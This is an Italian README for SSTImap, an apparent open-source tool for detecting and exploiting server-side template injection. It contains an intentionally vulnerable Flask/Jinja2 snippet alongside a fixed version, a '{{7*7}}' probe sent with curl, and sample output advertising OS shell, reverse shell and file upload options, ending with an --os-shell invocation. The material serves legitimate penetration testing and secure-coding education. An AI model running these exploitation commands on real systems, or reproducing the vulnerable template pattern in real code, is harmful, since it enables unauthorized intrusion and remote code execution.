
SSTImap v1.4
Strumento di rilevamento automatico di SSTI con interfaccia interattiva
SSTImap
Questo progetto è basato su Tplmap.
SSTImap è un software di penetration testing in grado di verificare la presenza di vulnerabilità di Code Injection e Server-Side Template Injection nei siti web e di sfruttarle, fornendo accesso al sistema operativo stesso.
Questo strumento è stato sviluppato per essere utilizzato come strumento interattivo di penetration testing per il rilevamento e lo sfruttamento di SSTI, consentendo uno sfruttamento più avanzato. Ulteriori payload per SSTImap sono disponibili qui.
I payload e le tecniche provengono da:
- Server-Side Template Injection: RCE For The Modern Web App di James Kettle [5]
- Altre ricerche pubbliche [[1]][1] [[2]][2] [[8]][8]
- Contributi a Tplmap [[3]][3] [[4]][4]
- Ricerche personali [[9]][9]
Questo strumento è in grado di sfruttare alcuni casi di escape dal contesto del codice e scenari di iniezione cieca. Supporta inoltre iniezioni di codice simili a eval() in Java, JavaScript, PHP, Python, Ruby e motori di template generici non sandboxed.
Differenze principali rispetto a Tplmap
Anche se questo software è basato sul codice di Tplmap, non è garantita la compatibilità con le versioni precedenti.
- Aggiunte due nuove tecniche per il rilevamento e lo sfruttamento di SSTI
- Modalità interattiva (
-i) che consente un rilevamento e uno sfruttamento più semplici - Payload di valutazione semplici come marcatori di risposta in caso di riflessione del payload
- Aggiunti nuovi payload per template generici, per testare tutti i contesti usare
--generic - Rilevamento generico di iniezione di template tramite valutazione con il modulo
Eval_generic - Esecuzione di shell (eval()-like) nel linguaggio base (
-x) o di singolo comando (-X) - L'upload di file cieco ora supporta la conferma MD5 e il controllo dell'esistenza del file
- Aggiunti nuovi payload per più template e aggiornati molti payload esistenti
- Struttura modulare dei plugin che consente l'installazione di plugin aggiuntivi
- Supporto per diversi tipi di dati POST
- Aggiunti crawling e rilevamento dei form
- Aggiunte versioni brevi a molti argomenti
- Alcuni vecchi argomenti della riga di comando sono stati modificati, consultare
-hper l'aiuto - Il codice è stato modificato per utilizzare funzionalità più recenti di Python
- L'estensione per Burp Suite è stata temporaneamente rimossa, poiché Jython non supporta Python3
Server-Side Template Injection
Questo è un esempio di un semplice sito web scritto in Python utilizzando il framework [Flask][6] e il motore di template [Jinja2][7]. Integra la variabile name fornita dall'utente in modo non sicuro, poiché viene concatenata alla stringa del template prima del rendering.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Non solo questo modo di utilizzare i template crea una vulnerabilità XSS, ma consente anche all'attaccante di iniettare codice di template, che verrà eseguito sul server, portando a SSTI.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
L'input fornito dall'utente dovrebbe essere introdotto in modo sicuro tramite il contesto di rendering:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Modalità predeterminata
SSTImap in modalità predeterminata è molto simile a Tplmap. È in grado di rilevare e sfruttare vulnerabilità SSTI in diversi template differenti.
Dopo lo sfruttamento, SSTImap può fornire accesso alla valutazione del codice, all'esecuzione di comandi del sistema operativo e alla manipolazione del file system.
Per controllare l'URL, è possibile utilizzare l'argomento -u:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Utilizzare l'opzione --os-shell per avviare un pseudo-terminale sul target.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell